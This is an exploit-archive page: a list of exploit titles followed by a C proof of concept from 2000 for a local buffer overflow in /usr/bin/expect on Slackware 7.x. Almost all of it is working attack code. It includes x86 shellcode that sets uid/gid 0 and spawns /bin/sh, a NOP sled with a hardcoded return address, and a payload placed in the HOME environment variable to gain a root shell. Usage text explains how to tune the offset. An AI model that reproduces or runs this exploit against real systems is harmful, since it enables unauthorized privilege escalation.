
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
107 lines
3.1 KiB
C
Executable file
107 lines
3.1 KiB
C
Executable file
/* hhp-expect_smash.c (12/11/00)
|
|
*
|
|
* expect (/usr/bin/expect) buffer overflow.
|
|
* Tested 5.31.8 and 5.28.1, slackware 7.x (Maybe others).
|
|
*
|
|
* By: isox
|
|
* Site: www.hhp-programming.net
|
|
* Advisory: www.hhp-programming.net/ouradvisories/hhp-expect_adv%2317.txt
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#define NOP 0x90
|
|
#define OFFSET 0
|
|
#define BUFLEN 416
|
|
#define RET 0xbffff580 /* Slackware 7.1 */
|
|
#define EXPECT "/usr/bin/expect"
|
|
|
|
char code[] =
|
|
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x66\x31\xc0\x66\x31"
|
|
"\xdb\xb0\x2e\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
|
|
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
|
|
"\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
|
|
"\xdc\xff\xff\xff/bin/sh\x69";
|
|
|
|
void usage(char *arg) {
|
|
fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);
|
|
fprintf(stderr, "Examples:\n");
|
|
fprintf(stderr, "\t%s 347 up -=- Default EIP increased by 347 bytes\n", arg);
|
|
fprintf(stderr, "\t%s 347 down -=- Default EIP decreased by 347 bytes\n", arg);
|
|
fprintf(stderr, "\t%s 429 up 0x%lx -=- EIP set to 0x%lx and increased by 429 bytes\n", arg, RET, RET + 429);
|
|
fprintf(stderr, "\t%s 429 down 0x%lx -=- EIP set to 0x%lx and decreased by 429 bytes\n\n", arg, RET, RET - 429);
|
|
exit(1);
|
|
}
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
char *buf, *p;
|
|
long *addressp, address;
|
|
int offset=OFFSET;
|
|
int i;
|
|
|
|
|
|
if((argc < 3) || (argc > 4))
|
|
usage(argv[0]);
|
|
|
|
if(argc == 3) {
|
|
if(!strcmp(argv[2], "up")) {
|
|
address = RET + atoi(argv[1]);
|
|
printf("Increasing offset by: %d\n", atoi(argv[1]));
|
|
printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));
|
|
}
|
|
|
|
if(!strcmp(argv[2], "down")) {
|
|
address = RET - atoi(argv[1]);
|
|
printf("Decreasing offset by: %d\n", atoi(argv[1]));
|
|
printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));
|
|
}
|
|
}
|
|
|
|
if(argc >= 4) {
|
|
if(!strcmp(argv[2], "up")) {
|
|
address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
|
|
printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
|
|
printf("Increasing offset by: %d\n", atoi(argv[1]));
|
|
printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));
|
|
}
|
|
if(!strcmp(argv[2], "down")) {
|
|
address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
|
|
printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
|
|
printf("Decreasing offset by: %d\n", atoi(argv[1]));
|
|
printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));
|
|
}
|
|
}
|
|
|
|
|
|
if (!(buf = (char *)malloc(BUFLEN))) {
|
|
printf("Can't allocate memory.\n");
|
|
exit(-1);
|
|
}
|
|
|
|
p = buf;
|
|
addressp = (long *) p;
|
|
|
|
for (i = 0; i < BUFLEN; i+=4) {
|
|
*(addressp++) = address;
|
|
}
|
|
|
|
for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
|
|
buf[i] = NOP;
|
|
}
|
|
|
|
p = buf + (BUFLEN - strlen(code) - 4);
|
|
|
|
for (i = 0; i < strlen(code); i++)
|
|
*(p++) = code[i];
|
|
|
|
buf[BUFLEN] = '\0';
|
|
|
|
|
|
setenv("HOME", buf, 1);
|
|
system(EXPECT);
|
|
}
|
|
|
|
|
|
// milw0rm.com [2000-12-04]
|